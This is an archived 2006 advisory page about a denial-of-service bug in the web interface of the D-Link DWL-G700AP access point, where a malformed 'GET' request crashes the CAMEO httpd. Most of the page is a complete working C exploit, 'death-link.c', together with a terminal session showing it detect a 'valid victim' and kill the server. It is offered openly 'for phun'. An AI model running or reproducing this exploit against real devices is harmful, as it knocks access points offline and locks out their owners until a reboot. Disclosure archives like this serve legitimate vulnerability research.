exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DWL-G700AP.txt

DWL-G700AP.txt
Posted Feb 20, 2006
Authored by l0om | Site excluded.org

It is possible to crash the web interface on a D-Link DWL-G700AP by sending it a simple GET request. POC included.

tags | advisory, web
SHA-256 | b871451dc09aa313045fd79f0f175a1b7c4a71df8e6f5fc1ed298a782aff19be

DWL-G700AP.txt

Change Mirror Download
author:        l0om
page: www.excluded.org
product: D-Link DWL-G700AP
firmware: tested on v2.00 and the latest v2.01

The DWL-G700AP is an accesspoint from D-Link and the only way to configure
it is the http service which is managed from a httpd called "CAMEO". This
webserver is very easy to DoS because all you have to do is send the AP the
following string: "GET \n\n". I really have been thinking how bad you have
to code to shutdown the whole service with one request which is handeld by
one child process. my guess is that the parent httpd tries to log the request
and runs into a "segmentation fault" while reading the "GET", "POST" or
whatever request with no filename.

PoC exploit follows just for phun and no profit.

best wishes everyone and have phun!
l0om

---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip

l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) open
punt!

l0om@badhost:~/death-link> ./death-link -h
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

death-link [options] <ip-address>
-o: ONLY CHECK for valid target
-c: check for valid target
-h: help

l0om@badhost:~/death-link> ./death-link -c 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

checking target... done! valid victim detected
sending DoS... done!
checking webserver status... CAMEO-httpd DEAD

l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) : Connection refused

l0om@badhost:~/death-link> ./death-link -o 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

checking target... faild! webserver already dead?


---8<--snip---8<-- death-link.c --8<--snip---8<--snip

/*
death-link.c
------------------------
written by l0om
WWW.EXCLUDED.ORG
------------------------
exploit tested on firmware: v2.00 and the latest v2.01
remote DoS exploit for the CAMEO-httpd which is running on the D-Link
Accesspoint DWL-G700AP. After executing this the accesspoint cannot be
configured anymore because the only way to administrate the AP is the
administration with your browser. you have to reboot the box to get the
httpd started again.

have phun!

// some greetings
maximilian, Prof. J. Dealer, Theldens, Commander Jansen, ole, detach,
mattball, molke, murfie, vy99
excluded.org people, IT31 people

// the guys who made exploiting possible with buying this AP
joerres, hermanns, schubert

*/


#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DOSSTRING "GET \n\n"
#define TARGET "CAMEO-httpd"
#define DESTPORT 80

int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);

int main(int argc, char **argv)
{
int fd, i, check = 0;
char *ip = NULL;

header();

if(argc > 1)
for(i = 1; i < argc; i++)
if(argv[i][0] == '-')
switch(argv[i][1]) {
case 'o':
check = 2;
break;
case 'c':
check = 1;
break;
case 'h':
help();
break;
default:
printf("\t>> %s << unknown option\n",argv[i]);
exit(-1);
}
else ip = argv[i];

if(ip == NULL) help();

if(check) {
printf("\tchecking target... "); fflush(stdout);
i = check_httpd(ip);
if(i <= 0) {
printf("faild! ");
if(!i) printf("invalid target webserver\n");
else printf("webserver already dead?\n");
exit(-1);
}
else printf("done! valid victim detected\n");
if(check == 2) return 0;
}

printf("\tsending DoS... "); fflush(stdout);
if(DoS(ip) <= 0) {
printf("faild!\n");
return -1;
} else printf("done!\n");

sleep(1);
printf("\tchecking webserver status... "); fflush(stdout);
if(!alive(ip)) printf("%s DEAD\n",TARGET);
else printf("%s on %s is still alive :( \n",TARGET,ip);

return 0;
}

int check_httpd(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return -1;

if(!write(sockfd, "GET / HTTP/1.0\n\n", 16))
return 0;
else nbytes = read(sockfd, buf, 500);

len = strlen(pattern);
ptr = buf;

while(nbytes--) {
if(*ptr == pattern[i])
i++;
else i = 0;
if(i == len) return 1;
else ptr++;
}
return 0;
}

int alive(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return 0;
else return 1;
}

int DoS(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return 0;
else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));
}

void help(void)
{
printf("\tdeath-link [options] <ip-address>\n");
printf("\t-o: ONLY CHECK for valid target\n");
printf("\t-c: check for valid target\n");
printf("\t-h: help\n");
exit(0);
}

void header(void)
{
printf("\tdeath-link - written by l0om\n");
printf("\t WWW.EXCLUDED.ORG\n");
printf("\tDoS %s D-Link DWL-G700AP\n\n",TARGET);
}


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close